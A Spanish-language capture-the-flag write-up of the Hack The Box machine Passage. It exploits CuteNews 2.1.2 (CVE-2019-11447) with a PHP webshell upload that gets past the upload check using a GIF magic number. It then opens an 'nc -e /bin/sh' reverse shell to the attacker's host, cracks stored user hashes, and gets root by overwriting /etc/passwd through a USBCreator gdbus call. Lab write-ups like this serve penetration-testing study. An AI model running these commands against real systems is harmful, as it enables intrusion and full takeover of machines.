Saltar al contenido

HackTheBox – Passage – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Passage de Hack the Box. Es una máquina Linux de nivel medio pero ligeramente bastionada, donde se muestra el peligro del código expuesto.

Enumeración

Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo; esto es muy ruidoso pero al ser un entorno controlado no me preocupa el ruido.

nmap -p- -n --open --min-rate 5000 10.10.10.206

En la máquina hay dos puertos abiertos. Escaneo los dos puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p22,80 -sC -sV 10.10.10.206
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-03 16:59 CET
Nmap scan report for 10.10.10.206
Host is up (0.12s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
|   256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_  256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Passage News
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.34 seconds

Con el ssh poco puedo hacer así que leo las cabeceras de la web con whatweb.

whatweb http://10.10.10.206

Al leer las cabeceras he encontrado bastante información interesante. He encontrado tres correos electrónicos para el dominio passage.htb, con nombres kim, nadav y paul, un correo electrónico para el dominio example.com, con nombre sid. Dudo que el dominio example.com sea de alguna utilidad así que solo añado el dominio passage.htb al fichero /etc/hosts.

Accedo a la web y casi todo el contenido es inservible pero encuentro dos cosas interesante. Utiliza un CMS llamado CuteNews y que la web tiene implementado Fail2Ban (para bloquear ataques por fuerza bruta. Mas información aquí).

CuteNews tiene varias versiones y algunas de ellas son vulnerables pero no logro encontrar que versión se está ejecutando y Fail2Ban me impide hacer un fuzzing así que miro el código fuente en busca de alguna información que pueda ser útil. En el código fuente encuentro las direcciones CuteNews/rss.php y CuteNes/skins/images/rss_icon.gif.

Navego por estas direcciones y sus directorios y encuentro una pantalla de autenticación y registro en la dirección http://passage.htb/CuteNews/, donde también muestra que la versión del CMS es la 2.1.2.

Explotación

Una vez encontrada la versión, busco en la base de datos de exploit-db y encuentro cuatro vulnerabilidades registrada para esta versión de CuteNews. Después de revisarlas, veo que existe una vulnerabilidad de RCE (exploit aquí) y está registrada con el código CVE-2019-11447.

El exploit puede funcionar solo y conseguir una shell con él pero, para preparar el OSCP, es mas interesante leer el código y explotarla de forma manual.

En la segunda función del exploit, se crea un nuevo usuario así que empiezo creando un usuario.

def register():
    global sess, ip
    userpass = "".join(random.SystemRandom().choice(string.ascii_letters + string.digits ) for _ in range(10))
    postdata = {
        "action" : "register",
        "regusername" : userpass,
        "regnickname" : userpass,
        "regpassword" : userpass,
        "confirm" : userpass,
        "regemail" : f"{userpass}@hack.me"
    }
    register = sess.post(f"{ip}/CuteNews/index.php?register", data = postdata, allow_redirects = False)
    if 302 == register.status_code:
        print (f"[+] Registration successful with username: {userpass} and password: {userpass}")
    else:
        sys.exit()

En la tercera función del exploit está creando una webshell en php a través del parámetro avatar_file que sube a la ruta http://passage.htb/CuteNews/uploads/. Entro en esta ruta para comprobar que existe.

Una vez he comprobado que la ruta de subida es la correcta, solo necesito un código php para generar la webshell. Copio el script /usr/share/webshells/php/simple-backdoor.php (por defecto en kali).

La verdad es que me entró curiosidad y visite la web http://michaeldar.org por si podia encontrar mas herramientas pero la web me redirije a una web rusa de reparación de lavadoras… parece que el hacking no le fué bien a michael.

En mi Dashboard de usuario, pincho en la opción Personal options y subo el binario de la webshell pero, al intentar guardarlo me aparece un mensaje de error.

La plataforma debe de estar haciendo algún tipo de comprobación de seguridad. Repito el proceso pero capturo la petición con Burp Suite para poder leer toda la petición.

En la imagen anterior, veo que la plataforma lee todo el código pero no veo que haga ninguna comprobación de la extensión binario. En la petición que he capturado, al principio del código del binario, agrego el magic number GIF89;, que sirve para omitir la verificación de la extensión del binario (mas información aquí), y envío la petición.

Al mirar el exploit, al comienzo del payload, utiliza el magic number GIF8; que sirve para indicar que la extensión es .gif.

La siguiente petición que capturo es una petición GET de la ruta /CuteNews/uploads/avatar_evil_webshell.php por lo que entiendo que el binario se ha cargado correctamente.

Entro a la ruta de subida de ficheros y veo que mi webshell se encuentra ahí.

Abro el fichero y solo me aparece, como texto, el magic number y las instrucciones de uso que iban en el binario de la webshell (como comentario).

Añado a la url el parámetro de lectura y ejecuto el comando ifconfig para comprobar que la webshell funciona correctamente.

Pongo un netcat a la escucha por el puerto 7897 y ejecuto ,en la webshell, el comando nc -e /bin/sh/10.10.14.5 7897 para conseguir una shell reversa.

Mas adelante explicaré como conseguir una consola tty.

En el sistema hay dos usuarios, nadav y paul, pero no tengo acceso a ninguno de sus directorios con mi usuario actual (www-data).

Recuerdo que, al enumerar las cabeceras de la web, he encontrado email con nombre nadav y paul y, estando en un CMS, seguramente encuentre credenciales de base de datos para estos nombres.

Cute News es una aplicación de código abierto por lo que la puedo encontrar en este repositorio de github. Reviso la documentación y veo quo no utiliza MySQL.

La aplicación no utiliza base de datos pero algún lugar tiene que almacenar las credenciales de los usuarios así que me pongo a revisar el código. Comienzo por el primer fichero que se abre, index.php, y veo que llama a varias funciones pero la que me interesa es cn_register_form().

Sigo esta función y, en su código, encuentro las funciones de usuario db_user_add y db_user_update pero solo me interesa la segunda.

Sigo la función db_user_update y veo dos cosas interesantes en su código. La primera (segunda flecha) es que almacena la información en las funciones $fn y $cu (lo deduzco por el comentario justo encima) y la segunda (primera flecha) es la ruta donde guarda los datos.

Por lo que se ve en el código, $fn, almacena los datos de registro en un fichero php cuyo nombre creo con los dos primeros dígitos de un hash md5 generado a partir del nombre de usuario y almacena este fichero en la ruta /cdata/users.

Me dirijo a la ruta /var/www/html/CuteNews/cdata/users y listo su contenido.

ls -l

Posteriormente me he dado cuenta de que la primera función del exploit (extrac_credential) ya indica esta ruta.

Uno de esos ficheros debe ser el del usuario que yo he creado pero no se cual así que genero un hash md5 de la palabra evil.

echo -n evil | md5sum

El fichero de mi usuario debería ser 40.php. Compruebo que existe este fichero y leo su contenido.

Parece que la información está codificada en base 64. La descodifico y encuentro la información de mi usuario pero la contraseña está cifrada pero se puede descifrar facilmente en crackstation.

echo "YToxOntzOjQ6Im5hbWUiO2E6MTp7czo0OiJldmlsIjthOjk6e3M6MjoiaWQiO3M6MTA6IjE2NDEyMjY4MTMiO3M6NDoibmFtZSI7czo0OiJldmlsIjtzOjM6ImFjbCI7czoxOiI0IjtzOjU6ImVtYWlsIjtzOjEzOiJldmlsQGVtYWlsLmVzIjtzOjQ6Im5pY2siO3M6NDoiZXZpbCI7czo0OiJwYXNzIjtzOjY0OiI2NjRhZTcwMWI3ODY4OThlZWMxZmZjNDgzNTEwNDk3Zjg4YTc2NTQzYjMxNWUwYzIzYzBiMjJhYWVkMjg3MjZlIjtzOjQ6Im1vcmUiO3M6NjA6IllUb3lPbnR6T2pRNkluTnBkR1VpTzNNNk1Eb2lJanR6T2pVNkltRmliM1YwSWp0ek9qQTZJaUk3ZlE9PSI7czo2OiJhdmF0YXIiO3M6MjQ6ImF2YXRhcl9ldmlsX3dlYnNoZWxsLnBocCI7czo2OiJlLWhpZGUiO3M6MDoiIjt9fX0" | base64 -d

Una vez tengo el método para conseguir credenciales, el siguiente paso es obtener la información de todos los ficheros php que hay en el directorio /var/www/html/CuteNews/cdata/users . Puedo obtenerla una a una o automatizar el proceso creando un código por expresiones regulares.

Independientemente del método elegido, consigo sacar las contraseñas para los usuarios paul, egre55 y hacker respectivamente.

Como en el sistema hay un usuario que se llama paul, pruebo las credenciales paul:atlanta1 y consigo autenticarme como el usuario paul.

su paul

La flag de usuario la encuentro dentro del directorio de paul, en la ruta /home/paul.

Escalada de Privilegios

Enumero los directorios ocultos que encuentro dentro de la carpeta raíz del usuario paul y encuentro el directorio .ssh/.

Dentro del directorio .ssh/ encuentro un fichero de authorized_keys y, al abrirlo veo que es una clave pública para el usuario nadav (que está en el sistema).

Si la clave pública del usuario nadav ha sido autorizada como fichero de identidad, puedo conectarme al equipo local sin necesidad de una contraseña.

ssh nadav@localhost

También podría haber utilizado el id_rsa.pub para conectarme por ssh desde mi máquina con la clave pública. Este método ya lo utilizo en la máquina ForwardSlash y, aunque en ForwardSlash utilizo una clave privada, para este caso funciona igual.

Accedo al directorio raíz de nadav en /home/nadav y, al listar todo el contenido oculto, encuentro un fichero llamado .viminfo.

Normalmente la información de vim debería guardarse en el .bash_history así que es raro que aparezca en un fichero propio. Lo abro y puedo ver como vim «interactuado» con otros archivos pero entre todos ellos me llama la atención especialmente el USBCreator.conf.

Existe una técnica para escalar privilegios con el D-BUS USBCreator en ubuntu. En primer lugar, compruebo si se está ejecutando.

ps auxw | grep usb-creator

En la imagen anterior, puedo ver que USBCreator se está ejecutando como root así que puedo utilizarlo para escalar privilegios.

USBCreator me permite guardar cualquier fichero como si fuera usuario root, independientemente del usuario que yo tenga. Más información aquí.

En primer lugar copio el fichero /etc/passwd a mi directorio actual (estoy en el directorio /tmp), después codifico la contraseña evil123 con openssl de forma que el sistema la interprete como válida y la sustillo en /etc/passwd por la x del usuario root para que el sistema la interprete como propia en lugar de buscarla en el fichero /etc/shadow.

cp /etc/passwd .
openssl passwd evil123
nano passwd
cat passwd | grep root

Ya utilizo este mismo proceso en la máquina Apocalyst pero con unas condiciones distintas.

Por último, aprovechando la técnica de USBCreator, sustituyo el fichero /etc/passwd por el passwd que yo he modificado y me autentico como root con la contraseña que yo he creado.

gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /tmp/passwd /etc/passwd true

La flag de root la encuentro en /root/root.txt.

Consola tty

Como ya he dicho anteriormente en otros post, para que la máquina esté resuelta de modo OSCP Friendly, es necesario conseguir una shell tty. Con los siguientes comandos consigo convertir la shell en shell tty en python facilmente.

script /dev/null -c bash
^Z

CTRL + Z

Ahora sin cambiar de consola.

stty raw -echo; fg
reset

Y con esto vuelvo a la shell reversa. Añado los siguientes comandos.

xterm
export TERM=xterm
export SHELL=bash

Y ya he conseguido una consola tty.

Para finalizar (esto es opcional) solo me faltaría adaptar las dimensiones de la shell de la consola a las de mi ventana de shell. En una shell de mi máquina atacante compruebo las dimensiones de la ventana.

stty size

Y las modifico en la shell reversa.

stty rows [X] columns [Y]
Publicado enCTFHTBLinuxOSCP